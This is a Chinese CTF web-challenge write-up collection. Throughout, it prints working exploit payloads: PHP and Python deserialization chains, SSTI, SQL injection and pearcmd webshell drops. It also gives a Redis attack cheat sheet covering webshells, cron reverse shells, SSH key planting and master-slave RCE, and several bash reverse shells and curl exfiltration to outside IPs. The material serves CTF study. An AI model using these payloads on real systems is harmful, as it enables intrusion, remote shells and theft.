EasySignin 无法复现,登录都进不去,题目内容就是 gopherus 打无密码的 mysql。
mysql读写文件命令:
select '<?php phpinfo();?>' into outfile '文件路径';
select load_file('文件路径')
2022DASCTF MAY 出题人挑战赛 Power Cookie 签到题,cookie.user=1。
魔法浏览器 签到题,改一下UA。
getme 历史漏洞,又弹不上 shell,下一个。
DASCTF2022.07赋能赛 Ez to getflag 这题可以用 phar 反序列化做,链子不长如下,然后再压缩一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $test = new Test ();$show = new Show ();$upload = new Upload ();$upload ->fname = $show ;$upload ->fsize = "phpinfo" ;$test ->str = $upload ;$phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER();?>" );$phar ->setMetadata ($test );$phar ->addFromString ("exp.txt" ,"exp" );$phar ->stopBuffering ();
当然其实没啥必要的,因为直接可以读 /flag。
Harddisk 哦所有的靶机都不出网,所以,只能构造一下 payload 了,很烦。
过滤挺多的 但是方括号 attr 都没过滤,还挺好,关键字过滤其实 unicode 或者 hex 绕一下就行,问题不大。然后 双花括号 和 print 都被过滤的情况下,只能用 if end if 但是没回显,只能出网了吧。
payload:
1 2 3 4 5 {% if ()|attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr("__getitem__" )(219 )|attr("__init__" )|attr("__globals__" )|attr("__getitem__" )("o" "s" )|attr("po" "pen" )("curl${IFS}http://795653328:8888?`cat${IFS}/f*`" )|attr("re" "ad" )()%}1 {% endif %}
DASCTF X GFCTF 2022十月挑战赛! EasyPOP 又是 pop 链。
从哪开始想起呢。
就从 invoke 触发是结尾吧,想触发 invoke 就得找自定义函数触发点,现在陷入僵局了。不过没事就正着推,从 destruct 推起,然后推到 echo 肯定想 tostring 了,tostring 能走到一个 secretcode.show 然后走到 show 发现就可以找到 get 了,get 触发了 invoke,perfect。
其实走到 show 的时候也在想,如果走到 一个 call 得不得行,哦那其实不行,因为 call 那个 secrectcode 这个类有 show 方法。
还需要绕一下 wakeup 把总数调大点就行。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 <?php class fine { public $cmd ; public $content ; public function __construct ($cmd , $content ) { $this ->cmd = $cmd ; $this ->content = $content ; } } class show { public $ctf ; public $time = "Two and a half years" ; } class sorry { public $name ; public $password ; public $hint = "hint is depend on you" ; public $key ; } class secret_code { public $code ; } $secret_code_ =new secret_code ();$sorry2 = new sorry ();$sorry_ = new sorry ();$show_ = new show ();$fine_ = new fine ("system" ,"tac /f*" );$sorry2 ->key= $fine_ ;$secret_code_ ->code = $sorry2 ;$show_ ->ctf = $secret_code_ ;$sorry_ ->hint = $show_ ;$sorry_ -> name = &$sorry_ ->password;$S = serialize ($sorry_ );echo $S ;
hade_waibo 这道题还是挺有意思的,phar 配合 php反序列化。
首先肯定是发现任意文件读取了,然后自然就想到看一下源码都是什么东西,发现存在反序列化和 file_get_contents,就可以开始了。
首先肯定是想想怎么 pop 链或者说魔术方法链的调用顺序。
发现了两个 wakeup 这可咋办呢,版本大了,也不能用那种调大数组值的方法绕过了,但是没事,你发现如果把 test 作为 user 的一个属性,然后反序列化 user,调用顺序是这样的。
test.wakeup->user.wakeup->user.destruct->test.destruct 也就是说从里往外调用,从里往外回收,不信可以用下面代码跑一下。
所以说我们可以不管 test.wakeup 到底给 value 赋值多少,我们只需要让 test.value 的指针和 user.username 的指针相同,那么我们在 user.wakeup 的时候自然也就改掉了 test.value,这样在 test.destruct -> test.backdoor 的时候就能正确传值了。
那 user.wakeup 的逻辑显然就是把 SESSION["username"] 赋值给了 user.username 和 test.value,那么我们就可以传 user.username 为你想要执行的指令(无数字字母),比如 . ./*。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class C1 { public $arg1 ; function __destruct ( ) { echo "C1.destruct is doing things." .PHP_EOL; } function __wakeup ( ) { echo "C1.wakeup is doing things." .PHP_EOL; } } class C2 { public $arg1 ; function __destruct ( ) { echo "C2.destruct is doing things." .PHP_EOL; } function __wakeup ( ) { echo "C2.wakeup is doing things." .PHP_EOL; } } unserialize ('O:2:"C1":1:{s:4:"arg1";O:2:"C2":1:{s:4:"arg1";N;}}' );
EasyLove 首先读一下 hint 吧。好像貌似必须从根目录读。
读到了 redis 和 passwd=AUTH 20220311,查一下发现是需要用 SSRF 打 redis。
这个 destruct 很有趣啊,居然可以自定义实例化的类,那这不得不想到一些原生类反序列化了。
Soap 类,可以在 call 发包,欸这里就有一个未定义方法,你说巧不巧。
随便用一个参数带出去吧,比如用 uri,可以在自己 vps 上试一下的,就是会有一个 SOAPAction: "http://123.57.107.33:6379/#sss",的协议头数据,那么前后两行闭合一下引号,中间传数据就行。
1 2 3 4 5 AUTH 20220311 CONFIG SET dir /var/www/html SET x '<?@eval($_POST[1]);?>' CONFIG SET dbfilename a.php SAVE
就是写一下文件。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $C = new swpu ();$target ='http://127.0.0.1:6379/' ;$poc0 ="AUTH 20220311" ;$poc ="CONFIG SET dir /var/www/html" ;$poc1 ="SET x '<?@eval(\$_POST[1]);?>'" ;$poc2 ="CONFIG SET dbfilename a.php" ;$poc3 ="SAVE" ;$a = array ('location' => $target ,'uri' => 'hello' .PHP_EOL.$poc0 .PHP_EOL.$poc .PHP_EOL.$poc1 .PHP_EOL.$poc2 .PHP_EOL.$poc3 .PHP_EOL.'hello' ); $C ->wllm = "SoapClient" ;$C ->arsenetang = null ;$C ->l61q4cheng = $a ;echo urlencode (serialize ($C ));
然后写文件成功了。
发现权限不够。
find / -user root -perm -4000 -print 2>/dev/null
带有SUID权限位的提权方法 - 隐念笎 - 博客园
date -f /hereisflag/flllll111aaagg
redis 写webshell payload:
1 2 3 4 5 6 flushall AUTH 20220311 CONFIG SET dir /var/www/html SET x '<?@eval($_POST[1]);?>' CONFIG SET dbfilename a.php SAVE
1 2 3 4 dict://172.24.0.3:6379/config:set:/var/www/html dict://172.24.0.3:6379/config:set:dbfilename:shell.php dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>" dict://172.24.0.3:6379/save
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import urllibprotocol="gopher://" ip="173.13.144.12" // 运行有redis的主机ip port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.quote(redis_format(x)) print payload
写计划任务 payload:
1 2 /var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab /etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
1 2 3 4 5 flushall set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
1 2 3 4 flushall set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n" config set dir /var/spool/cron/crontabs/ config set dbfilename root
1 2 3 4 5 flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n' config set dir /var/spool/crontab/root config set dbfilename root save
写公钥私钥连接 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mkdir -p ~/.ssh chmod 700 ~/.ssh ssh-keygen -t rsa cd /root/.ssh/(echo -e "\n\n" ; cat id_rsa.pub; echo -e "\n\n" ) > key.txt cat key.txt | redis-cli -h 目标IP -x set xxxconfig set dir /root/.ssh/ config set dbfilename authorized_keys save cd /root/.ssh/ssh -i id_rsa root@目标IP
主从复制 Ubuntu上安装docker的详细教程、docker常用命令介绍_ubuntu安装docker-CSDN博客
Redis基于主从复制的RCE 4.x/5.x 复现-CSDN博客
1 2 3 docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server python3 redis-rce.py -r targetip -L yourip -f exp.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ssrf.php?url=dict://192.168.172.131:6379/info ssrf.php?url=dict://192.168.172.131:6379/config:set :dbfilename:exp.so ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234 ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999
BlogSystem 最开始是个 flask 框架,然后找到了 secrect_key,用 flask-session 伪造一下就完事儿了,进 admin 发现任意文件读取,然后就读到了 /app/app.py。
模块导入如下:
1 2 3 4 5 6 7 8 9 10 11 from flask import *import config app = Flask(__name__) app.config.from_object(config) app.secret_key = '7his_1s_my_fav0rite_ke7' from model import *from view import * app.register_blueprint(index, name='index' ) app.register_blueprint(blog, name='blog' )
其实大概可以看一下,那些目录在的无非就在 /app/index.py,/app/blog.py,/app/model/index.py,/app/model/blog.py,/app/view/index.py,/app/view/blog.py,要是不确定的话也可以进各个目录的 /app/xxx/__init__.py 看一下。
然后读到关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @blog.route('/saying' , methods=['GET' ] ) @admin_limit def Saying (): if request.args.get('path' ): file = request.args.get('path' ).replace('../' , 'hack' ).replace('..\\' , 'hack' ) try : with open (file, 'rb' ) as f: f = f.read() if waf(f): print (yaml.load(f, Loader=Loader)) return render_template('sayings.html' , yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧' ) else : return render_template('sayings.html' , yaml='鲁迅说:你说得不对' ) except Exception as e: return render_template('sayings.html' , yaml='鲁迅说:' +str (e)) else : with open ('view/jojo.yaml' , 'r' , encoding='utf-8' ) as f: sayings = yaml.load(f, Loader=Loader) saying = random.choice(sayings) return render_template('sayings.html' , yaml=saying)
发现了 yaml.load。
yaml反序列化:
SecMap - 反序列化(PyYAML) - Tr0y’s Blog
PyYaml反序列化漏洞详解-先知社区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 yaml.load('exp: !!python/object/apply:os.system ["whoami"]' ) yaml.load("exp: !!python/object/apply:os.system ['whoami']" ) yaml.load("exp: !!python/object/apply:os.system [whoami]" ) yaml.load(""" exp: !!python/object/apply:os.system - whoami """ )yaml.load(""" exp: !!python/object/apply:os.system args: ["whoami"] """ )yaml.load(""" exp: !!python/object/apply:os.system kwds: {"command": "whoami"} """ )yaml.load("!!python/object/apply:os.system [whoami]: exp" ) yaml.load("!!python/object/apply:os.system [whoami]" ) yaml.load(""" !!python/object/apply:os.system - whoami """ )yaml.full_load(""" !!python/object/new:type args: - exp - !!python/tuple [] - {"extend": !!python/name:exec } listitems: "__import__('os').system('whoami')" """ )!!python/object /new:type args: - exp - !!python/tuple [] - {"extend" : !!python/name:exec } listitems: "__𝒾𝓂𝓅ℴ𝓇𝓉__('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('whoami')" !!python/object /new:type args: - exp - !!python/tuple [] - {"extend" : !!python/name:exec } listitems: "__𝒾𝓂𝓅ℴ𝓇𝓉__('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"')"
但是本题有 waf,用上传文件绕吧。
1 !!python/module:uploads.exp 这里的 exp 是 恶意文件 /uploads/exp.py
DASCTF 2024最后一战 const_python RCE src 下载一下源码,是 pickle 反序列化,但ban 掉了一些东西。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/ppicklee' , methods=['POST' ] ) def ppicklee (): data = request.form['data' ] sys.modules['os' ] = "not allowed" sys.modules['sys' ] = "not allowed" try : pickle_data = base64.b64decode(data) for i in {"os" , "system" , "eval" , 'setstate' , "globals" , 'exec' , '__builtins__' , 'template' , 'render' , '\\' , 'compile' , 'requests' , 'exit' , 'pickle' ,"class" ,"mro" ,"flask" ,"sys" ,"base" ,"init" ,"config" ,"session" }: if i.encode() in pickle_data: return i+" waf !!!!!!!" pickle.loads(pickle_data) return "success pickle" except Exception as e: return "fail pickle"
好的地方是在于有回显,这次知道有没有 load 成功了。
复检一下 pickle:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64import osimport pickleclass A (): def __reduce__ (self ): return os.system,("whoami" ,) a = A() a=pickle.dumps(a) a=base64.b64encode(a).decode() print (a)b = base64.b64decode(a) pickle.loads(b)
本题 ban 掉不少东西。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64import pickleimport subprocessclass A (): def __reduce__ (self ): return subprocess.check_output,(["cp" ,"/flag" ,"/app/app.py" ],) a = A() a=pickle.dumps(a) a=base64.b64encode(a).decode() print (a)
接管任意函数 pickle&types.CodeType实现接管任意函数-先知社区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 p1= b'''cbuiltins getattr p0 c__main__ index p3 g0 (g3 S'__code__' tRp4 I0 p5 I0 p6 I0 p7 I0 p8 I5 p9 I67 p10 c_codecs encode p33 g33 (Vt\x00d\x01d\x02d\x03d\x04\x8d\x03\xa0\x01\xa1\x00S\x00 S'latin-1' tRp11 (NS'/etc/passwd' S'r' S'utf-8' (S'encoding' ttp12 (S'open' S'read' tp13 )p14 g0 (g4 S'co_filename' tRp15 g0 (g4 S'co_name' tRp16 I7 p17 g0 (g4 S'co_lnotab' tRp18 )p19 )p20 ctypes CodeType (g5 g6 g7 g8 g9 g10 g11 g12 g13 g14 g15 g16 g17 g18 g19 g20 tRp21 cbuiltins setattr (g3 S"__code__" g21 tR.''' import base64encrypted_p1 = base64.b64encode(p1) print (encrypted_p1)
yaml_matser 无回显的 yaml。
1 2 3 4 5 6 !!python/object/new:type args: - exp - !!python/tuple [] - {"extend": !!python/name:exec } listitems: "__𝒾𝓂𝓅ℴ𝓇𝓉__('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
DASCTF 2025下半年赛|矩阵博弈,零度突围 SecretPhotoGallery 入口就是一个 Sqlite 注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host : 1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedContent-Length : 56Origin : http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81Connection : keep-aliveReferer : http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81/Upgrade-Insecure-Requests : 1Priority : u=0, iusername=a&password =1 '+UNION+SELECT+1,+' admin ',+' 123 '+--
跳转到 gallery.php 发现要伪造 JWTtoken,伪造的只能进 gallery.php 进不了 admin.php。
信息搜集+fuzz得到 key:GALLERY2024SECRET。
或者这么拿到:
最后打 pearcmd.php 秒了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /admin.php?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1 Host : 1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedContent-Length : 53Origin : http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81Connection : keep-aliveReferer : http://1a72a618-63a8-440c-9825-49c1f0f5e964.node5.buuoj.cn:81/admin.phpCookie : auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjUwMDAzNjF9.E48cncg1FJcq5Gbj_KhhxUCXDPlOkGxfaCFW2atHgBYUpgrade-Insecure-Requests : 1Priority : u=0, iaction = export&filepath =/usr/ local/lib/ php/pearcmd.php
devweb 分析一下,前端js,直接登录给我眺localhost去了,自己改链接吧,然后还要RSA加密一下密码,publickey给了。
跟着跳过来,你会发现根本打不开,貌似作用就是给你段cookie然后让你接着想。
在 index.js 里全局搜 download,你会发现你可以下载一个 app.jmx。
问一下 ai 他是干嘛的:
app.jmx 是一个 JMeter 测试脚本。
找到 salt 参数的核心生成逻辑了,复现一下。
1 2 3 4 5 6 7 8 9 def generate_sign (filename, salt ): """Generate signature using the leaked algorithm.""" print (f"[*] Generating signature for '{filename} '..." ) first_md5 = hashlib.md5(filename.encode()).hexdigest() jie_str = first_md5[5 :16 ] raw_str = first_md5 + jie_str + salt sign = hashlib.md5(raw_str.encode()).hexdigest() return sign
目录穿越读flag。
国城杯 2024”国城杯”网络安全挑战大赛决赛 mountain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import pickleimport osimport base64 class test (): def __init__ (self ): self .username=0 self .password=0 def login (self,username,password ): return username=='admin' and password=='123456' def __reduce__ (self ): print ('reduce' ) return os.system,('curl https://your-shell.com/124.222.136.33:1337 |sh' ,) a=test() serialize=pickle.dumps(a) payload=base64.b64encode(serialize) print (payload)
这里 reduce 就相当于 wakeup 然后只不过把参数写在函数里了,直接进序列化了,而不是像 php 那样只能写属性值。
这个题就是 pickle 反序列化。
先扫一下目录发现存在任意文件读取,用 /proc/1/cmdline 读一下当前运行的文件,读到目录之后,看一下源码,通过 import 读一下 python 文件,然后进去找到 pickle 的 key。
然后访问一下,wp说能看出来 COOKIE 是 pickle,但是我第一次做看不出来。不过点一下源码进去会发现 bottle.request 可以打 pickle。
那就起一个服务自己打吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from bottle import Bottle, route, run, template, request, responseimport os Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7" class Test : def __reduce__ (self ): return (eval , ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/123.57.107.33/1337 0>&1"')""" ,)) @route("/hello" ) def hello_world (): try : session = {"name" : Test()} response.set_cookie("name" , session, secret=Mountain) return "ok" except : return "hacker!!! I've caught you" if __name__ == "__main__" : os.chdir(os.path.dirname(__file__)) run(host="0.0.0.0" , port=8089 )
后面就是反弹shell了。
说到 bottle,搞两个内存马吧。
/memshell?cmd=app.add_hook('before_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("echo 1").read().encode('utf-8')).decode('utf-8')))
/memshell?cmd=app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))
就是在 before_request 和 after_request 上加钩子。
CTFShow系列 元旦水友赛 CTFshow元旦水友赛官方WP
easy_include 1 2 3 4 5 6 7 8 9 <?php function waf ($path ) { $path = str_replace ("." ,"" ,$path ); return preg_match ("/^[a-z]+/" ,$path ); } if (waf ($_POST [1 ])){ include "file://" .$_POST [1 ]; }
要求必须字母开头,用 file://localhost/path 绕。
解法 1 session 文件包含。
原理就是 服务器会在tmp目录下按照 sess_ + session名字存储一个 php序列化后的参数值,那么我们假如给他传一个 file 的同时带上参数 PHP_SESSION_UPLOAD_PROGRESS,他就会记录下这个参数,然后再进行执行就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "https://ce9a3a98-d94d-4fde-82d6-8b3091f110f6.challenge.ctf.show/" data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST[2]);?>' , '1' : 'localhost/tmp/sess_ctfshow' , '2' : 'system("cat /f*");' } file = { 'file' : 'ctfshow' } cookies = { 'PHPSESSID' : 'ctfshow' } response = requests.post(url=url, data=data, files=file, cookies=cookies) print (response.text)
解法2 pearcmd.php 执行包含。(peclcmd 等价)
使用条件:
1 2 3 4 5 6 7 1.[7.3版本前默认安装]安装了pear扩展(pear就是一个php扩展及应用的代码仓库,未安装pear扩展的话就没有pear.php文件可利用) 2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php) 3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)默认为Off【Docker环境下的PHP会开启】 4.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制
argc 和 argv 都是用 +(没编码前的,感觉就类似于空格),区分参数的。
1 2 3 4 5 <?php $a =$_GET ['a' ];var_dump ($_SERVER ['argc' ]);var_dump ($_SERVER ['argv' ]);?>
原理就是,当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令。
POST 中传 1=localhost/usr/local/lib/php/pearcmd.php
GET 中传 ?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php
原参数命令:
1 2 3 config-create: must have 2 parameters, root path and filename to save as pear config-create /<?=@eval ($_POST [1]);?> /tmp/leekos.php ?+config-create+/&/<?=@eval ($_POST ['cmd' ]);?>+/var/www/html/shell.php
注意这个必须在 GET 中传才可以哦!
并且,直接url中get传参会把 < 这些字符自动编码,就成功不了,所以用burp抓包再改传参。
常规 exp:
1 2 ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[1]);?>+/var/www/html/shell.php ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]/index.php download马 需要出网
easy_login 参数名:show_show.show 绕过,这个老掉牙了,就是 php 一些替换特性,他会替换 ,+[ 等特殊符号为 _,但要是第一个是 [ 就会停止替换。
然后再看一下 waf。
waf1 对 REQUEST 中参数值不能出现字母,REQUEST 特性就是优先级 POST>GET,所以只需要 POST 传相同就可以过。
waf2 是不能出现 show,URL编码可以绕过。
看一下反序列化利用链:
1 ctf::__destruct -> show::__call --> Chu0_write::__toString
if ($this->chu0===$this->chu1) 引用绕过,其实不绕好像也可以的。
1 if (!preg_match ('/^[Oa]:[\d]/i' ,$_GET ['show_show.show' ])){ unserialize ($_GET ['show_show.show' ]);
用 SplStack() 绕。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class ctf { public $h1 ; public $h2 ; } class show {} class Chu0_write { public $chu0 ; public $chu1 ; public $cmd ; } $a = new ctf ();$b = new chu0_write ();$b ->chu1 = &$b ->chu0;$c = array ('' ,'' ,$b );$a ->h2 = array ($c );$a ->h1 = new show ();$d = new SplStack ();$d ->push ($a );echo serialize ($d );
好了现在走到 toString 了。
下一步就是垃圾字符的去除,由于 b64 次数被限制为 1 ,所以不能用多次解编码的b64。但是实际上 b64 也可以通过这样的多次解编码来剔除垃圾字符。
b64 多次解码去除垃圾字符 b64的本质原理其实是 3编4,缺就补 =,并且解码的时候只有 0-9 a-z 才会操作,所以说倘若垃圾字符一次 b64 解码之后全部变成乱码了,那么它在第二次解码的时候就相当于不存在。
但是但是,有些 很不巧的 就是解码之后它还存在,哪怕存在一个或两个,由于 b64 是 3编4,4解3,都会造成最后结果都是乱码。
所以说我们只需要构造一个四的倍数,并且解码前缀是垃圾字符解码后存在,并且 b64 编码之后是乱码的,这样的字符串,从而再次解码的时候是乱码。
这里会解码出来 r0,那么我们用能再次解码后能变成乱码的组成来 4 解 3,这里我们用 r0AV,但是要注意的是,原字符串长度为 18,我们应该补足为 4 的部分,也就是20,(这里用aa补,解码之后不会产生新的正常字符)再加4个字符 编 3 后为 AV 再带上一个非码区的字符,就弄一个 @ 吧。
也就是先加上 aa 变成20长度,这下就正正好好变成 r0,然后我们再加 4 个字符 QVZA,4 编 3 变成 AV@(实际上有用的就是 AV),这样二次解码之后就解码的是 r0AV,也就是解码成乱码。
这样后面的东西就彻底正常解码了。
那么对于本题,看看其他的过滤器,比如 u8,u16,经过这两步转换后,每个字符后面都会带有一个不可见字符 \0,如果存在 \0 则正常解码,不存在则变成乱码,不过这个不可见字符需要进行 convert.quoted-printable-decode,(因为 file_put_contents 不能接受空字节) ,最后再进行 b64 解码的时候,而b64 会选择那些符合它字符集的字母:0-9,a-z 进行解码,从而就可以实现垃圾字符的去除。
这是用 quoted-printable-encode 后的字符变化:
垃圾字符去除脚本:
1 2 3 4 5 6 7 <?php $b ='system' ;$payload = iconv ('utf-8' , 'utf-16' , base64_encode ($b ));file_put_contents ('payload.txt' , quoted_printable_encode ($payload ));$s = file_get_contents ('payload.txt' );$s = preg_replace ('/=\r\n/' , '' , $s );echo $s ;
得到结果:=FE=FF=00c=003=00l=00z=00d=00G=00V=00t。
那么反过来解码的时候就是:
1 php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=ctfw
最后发现 flag 处于环境变量中,打通。
XGCTF 2024年7月5日20:00 https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1
CodeInject payload:1="1");system("cat /000f1ag.txt"
easy_polluted 审计一下代码,发现几个关键点。
首先是渲染时候,语法有变,正常是 {{}},但这里变成了 [#flag#],这个暗示也提示我们可能是需要污染一下。
哦对了,password=secrectkey,所以这里也需要进行一下污染哦。
1 2 3 4 5 6 7 from flask import Flaskapp = Flask(__name__) print (app.jinja_env.variable_start_string)print (app.jinja_env.variable_end_string)print (app.secret_key)
有 waf 直接 unicode 绕就行,我记得 jinja 模板是用的就是 unicode 解析。
这里是和一个类进行合并,python 污染变量的话就是 class.__init__.__globals__,然后污染就行啦。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" : { "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067" : "[#" , "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067" : "#]" } } } } } { "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" : "admin" } } } }
Ezzz_php 这个题还是蛮有意思的。
首先观察得肯定大概率是要打字符串逃逸的,毕竟只给一个参数的 construct 然后序列化再反序列化,还是很容易让人想到打字符串逃逸的。
那么究竟怎么逃,这个需要思考 + search 一下了。
mb_strpos这个函数在遇到%9f这个不可见字符时,会自动忽略。而mb_substr则不会忽略,导致截断的字符串往前移动了一个位置。
这样就可以打字符串逃逸了,显然要把后面的都挤下去留出read,而 read 又是由 不可见字符 和 序列化后的字符构成的,这样就能挤出去了。
start 不能太短,要让 逃逸后的字符串 长度 <= serialize($readfile) ,否则字符串都没那么长,谈何挤下去那么多。
payload:
1 2 3 4 5 6 7 http://127.0.0.1/test.php?start=aaaaaaaaaaaaaaaaaaaaaa&read= %9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f 246/3=82=81(payload长度)+ 1([ 的长度) O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}
当然也可以考虑动态调整一下长度,自己搭建服务,多试试,就好了。
